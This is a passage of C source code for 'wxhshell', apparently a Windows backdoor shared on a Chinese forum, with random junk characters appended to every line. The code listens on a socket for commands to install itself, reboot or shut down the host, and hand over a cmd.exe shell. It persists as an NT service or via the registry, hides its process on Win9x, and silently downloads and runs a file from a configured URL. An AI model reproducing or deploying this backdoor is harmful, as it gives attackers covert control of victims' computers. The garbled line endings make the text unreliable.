  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #X"\:yN  
  } V{Idj\~Jh  
  else { KN~E9oGs  
|gxU;"2`5~  
    switch(cmd[0]) { Xk]5*C]6<  
  X@9_ukdpu  
  // 帮助 2k"a%#H8  
  case '?': { /~7H<^}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w}NgFrL  
    break; A i9*w?C  
  } K;6K!6J:[  
  // 安装 tb/u@}")  
  case 'i': { *&UVr  
    if(Install()) g,y`[dr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9qXHdpb#g"  
    else M=o,Sav5*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1a4QWGpq  
    break; +@%9pbM"z  
    } lbg6n:@  
  // 卸载 7@EYF  
  case 'r': { Yc?taL)  
    if(Uninstall()) ,l; &Tb=k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (G PJ=r  
    else f`A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r-N2*uYtu  
    break; f,M$>!$V  
    } AV d  
  // 显示 wxhshell 所在路径 bvG").8$  
  case 'p': { &v4w3'@1  
    char svExeFile[MAX_PATH]; #yr19i ?  
    strcpy(svExeFile,"\n\r");   |J(]  
      strcat(svExeFile,ExeFile); mu"]B]  
        send(wsh,svExeFile,strlen(svExeFile),0); -&,NM  
    break; a' #-%!]  
    }  h *%T2  
  // 重启 7U.g4x|<  
  case 'b': {  N%r}0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7=QV^G  
    if(Boot(REBOOT)) XZ|"7as  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n#J$=@  
    else { ]; ^OY\,  
    closesocket(wsh); #(aROTV5a  
    ExitThread(0); p6Z]oL q  
    } bk6$+T=>  
    break; ^Y'J0v2  
    } z(\H.P#  
  // 关机 MqoQs{x  
  case 'd': { E=QL4*?   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g=U?{<8.m  
    if(Boot(SHUTDOWN)) BLaX p0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'd U$QO  
    else { RTY$oUqlZ  
    closesocket(wsh); o=`9JKB~  
    ExitThread(0); sM5 w~R>Y  
    } ^G2vA8%  
    break; 3l L:vD5(  
    } M0]l!x#7  
  // 获取shell 6J|f^W-fs  
  case 's': { mu{%%b7|^  
    CmdShell(wsh); X2@o"xU  
    closesocket(wsh); $}KYpSV  
    ExitThread(0); @{CpC  
    break; !zJ.rYZ=g`  
  } ~-:CN(U  
  // 退出 &PgdCijGq;  
  case 'x': {  v$tS 2N2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cF(9[8c{  
    CloseIt(wsh); 4tuEC-oh  
    break; dhVwS$O )  
    } <}mT[;:"  
  // 离开 @tj0Ir v  
  case 'q': { +] 5a(/m.~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _r8AO>  
    closesocket(wsh); \clWrK  
    WSACleanup(); so8-e  
    exit(1); 23OV y^b  
    break; aSF&^/j  
        } teB {GR  
  } _b5iR<f  
  } bZG$ biq  
"mH^Owai  
  // 提示信息 ^@19cU?q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =OHDp7GXO>  
} d.} rn"(z  
  } Aj`4uFhiL  
 C|lMXp\*  
  return; unX^MPpw  
} }jk^M|Z"Oz  
>{??/fBd-  
// shell模块句柄 (w^&NU'e  
int CmdShell(SOCKET sock) ` q@~78`  
{ EV(/@kN2  
STARTUPINFO si; A!Yqj~  
ZeroMemory(&si,sizeof(si)); eoL)gIM%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *ap#*}r!Nk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [`b{eLCFX]  
PROCESS_INFORMATION ProcessInfo; VuBp$H(U  
char cmdline[]="cmd";  mPD'"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uf>w*[m5  
  return 0; (,TO|  
} f7W=x6Z4  
C`#N Q*O  
// 自身启动模式 .^NV e40O  
int StartFromService(void) (\I =v".  
{ /<2_K4(-{4  
typedef struct 0iB 1_)~  
{ tQ|I$5jNJ  
  DWORD ExitStatus; Y~:7l5C  
  DWORD PebBaseAddress; kL3=7t^ 1  
  DWORD AffinityMask; & vIKNGJ^  
  DWORD BasePriority; W&Hf}q s  
  ULONG UniqueProcessId; MmK\|CtV  
  ULONG InheritedFromUniqueProcessId; $-0u`=!  
}   PROCESS_BASIC_INFORMATION; %51pfuL  
>I!(CM":s$  
PROCNTQSIP NtQueryInformationProcess; zc{C+:3$^  
"D/ fB%h`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oaK~:'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k^]~NP  
GGuLxc?(  
  HANDLE             hProcess; <@=NDUI3*,  
  PROCESS_BASIC_INFORMATION pbi; C;ye%&g>  
W9D)QIqbvW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p~b$+8#+  
  if(NULL == hInst ) return 0; w '"7~uN  
3OZ}&[3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2uHp%fv;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fI|1@e1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k$2Y)  
w&gHmi  
  if (!NtQueryInformationProcess) return 0; hJ@nW5CI  
^v'Lu!\f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =3:ltI.'*I  
  if(!hProcess) return 0; ~;W%s  
H:_`]X"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O(d'8`8  
8B+uNN~%]  
  CloseHandle(hProcess); *Tlv'E.M  
L}mhMxOTi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x9e 9$ww}  
if(hProcess==NULL) return 0; ]5\vYk  
x'qgpG}?]  
HMODULE hMod; )'g vaT  
char procName[255]; >xjy P!bca  
unsigned long cbNeeded; <b\urtoJ  
MI}D%n*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z)B=<4r  
>gE_?%a[  
  CloseHandle(hProcess); R[c_L=  
;gyE5n-{  
if(strstr(procName,"services")) return 1; // 以服务启动 34=0.{qn  
. <B1i  
  return 0; // 注册表启动 hTm}j,H  
} I}WJ0}R  
;'p'8lts  
// 主模块 h]#)41y<  
int StartWxhshell(LPSTR lpCmdLine) * y B-N;I  
{ k.ZfjX"  
  SOCKET wsl; -{h[W bf  
BOOL val=TRUE; (G VGoh&  
  int port=0; )3AT=b  
  struct sockaddr_in door; Fk(5y)  
Kf4z*5Veqr  
  if(wscfg.ws_autoins) Install(); !iw 'tHhR  
^~Sn{esA  
port=atoi(lpCmdLine); f+V':qz  
7E95"B&w  
if(port<=0) port=wscfg.ws_port; R;o_*  
dc)Gk  
  WSADATA data; _+En%p.m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )R4<* /C:w  
:m\KQ1sq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u_B SWhiW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IoA;q)  
  door.sin_family = AF_INET; I,eyL$x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K5SO($  
  door.sin_port = htons(port); YSgF'qq\  
)VT/kIq-U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {/<&  
closesocket(wsl); (=j!P*  
return 1; w^gh&E  
} d%3BJ+J  
U\ued=H  
  if(listen(wsl,2) == INVALID_SOCKET) { F 4/Uu"J:  
closesocket(wsl); R=PzR;8  
return 1; ^ne8~ ;Q  
} 7,TWCVap  
  Wxhshell(wsl); ~|rkt`8p  
  WSACleanup(); 5WT\0]RUa  
' T]oV~H  
return 0; `?x$J 6p  
dK: "  
} e`r;`a&  
{P&^Erx  
// 以NT服务方式启动  o 2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wY#mL1dF  
{ pC-OZ0  
DWORD   status = 0; =f!M=D  
  DWORD   specificError = 0xfffffff; ]aNnY?qW5  
<Z' hZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lG9ARRy(=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b U NYTF{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rLxX^[Fp3  
  serviceStatus.dwWin32ExitCode     = 0; Ef.4.iDJrR  
  serviceStatus.dwServiceSpecificExitCode = 0; fXe-U='  
  serviceStatus.dwCheckPoint       = 0; ak `)>  
  serviceStatus.dwWaitHint       = 0; gf?^yP ;V  
;Oy>-Ij5P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); - (1\ `g07  
  if (hServiceStatusHandle==0) return; T;@>O^  
]'(7T#  
status = GetLastError(); tHbPd.^  
  if (status!=NO_ERROR) 9eiBj  
{ l,wN@Nk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N_D+d4@  
    serviceStatus.dwCheckPoint       = 0; 4-_lf(# i  
    serviceStatus.dwWaitHint       = 0; P-[K*/bPw  
    serviceStatus.dwWin32ExitCode     = status; "\;wMR{  
    serviceStatus.dwServiceSpecificExitCode = specificError; <R>z;2c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'qAfei']  
    return; r%d 11[z  
  } p^P y,  
OPW"AB J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,<b|@1\k  
  serviceStatus.dwCheckPoint       = 0; _~Vz+nT  
  serviceStatus.dwWaitHint       = 0; ~uadivli  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S7{.liHf  
} % VpBB  
nM-SDVFM  
// 处理NT服务事件,比如:启动、停止 8"mW!M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D^55:\4(  
{ W"(`n4hi3  
switch(fdwControl) pm~;:#z7  
{ N+qLxk  
case SERVICE_CONTROL_STOP: "H<#91^|  
  serviceStatus.dwWin32ExitCode = 0; NxO^VUD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <0)ud)~u  
  serviceStatus.dwCheckPoint   = 0; Ch"8cl;Fm  
  serviceStatus.dwWaitHint     = 0; 8? Wxd65)  
  { wg<|@z5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m,C,<I|'d  
  } E5G"QnxR>N  
  return; vUe *  
case SERVICE_CONTROL_PAUSE: FK# E7 K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H~ n~5 sF"  
  break; Uy5!H1u  
case SERVICE_CONTROL_CONTINUE: :gscW& k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _G #"B{7  
  break; ;+34g6  
case SERVICE_CONTROL_INTERROGATE: ^z}lGu  
  break; ~49N  
}; /I'u/{KB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9+ l3 $  
} e>9Z:vY  
Yc`j   
// 标准应用程序主函数 rw[{@|)'z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A]Tcj^#  
{ ds;cfj[  
nVn|$ "r  
// 获取操作系统版本 ywynx<Wg  
OsIsNt=GetOsVer(); Kt,yn A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 34wM%@D*c  
dP7Vs a+  
  // 从命令行安装 ?4[Oh/]R  
  if(strpbrk(lpCmdLine,"iI")) Install(); _T|H69 J  
{lTxB'W@d  
  // 下载执行文件 $>"e\L4Kp  
if(wscfg.ws_downexe) { `1bX.7K43  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bro  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3'*%R48P`  
} hr4ye`c j  
lI_Yb:  
if(!OsIsNt) { |"YA<e %  
// 如果时win9x,隐藏进程并且设置为注册表启动 /CI%XocB  
HideProc(); ?koxt4 4  
StartWxhshell(lpCmdLine); 0T#xM(q[K  
} N&^xq_9&  
else h@;)dLo0z  
  if(StartFromService()) 1i/::4=  
  // 以服务方式启动 nt0\q'&  
  StartServiceCtrlDispatcher(DispatchTable); T<+ht8&M8  
else I+"?,Ej$K  
  // 普通方式启动 $.Q>M]xH  
  StartWxhshell(lpCmdLine); R G0S  
Afy .3T @)  
return 0; n5+S"  
}
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只看该作者 1 发表于: 2006-10-10
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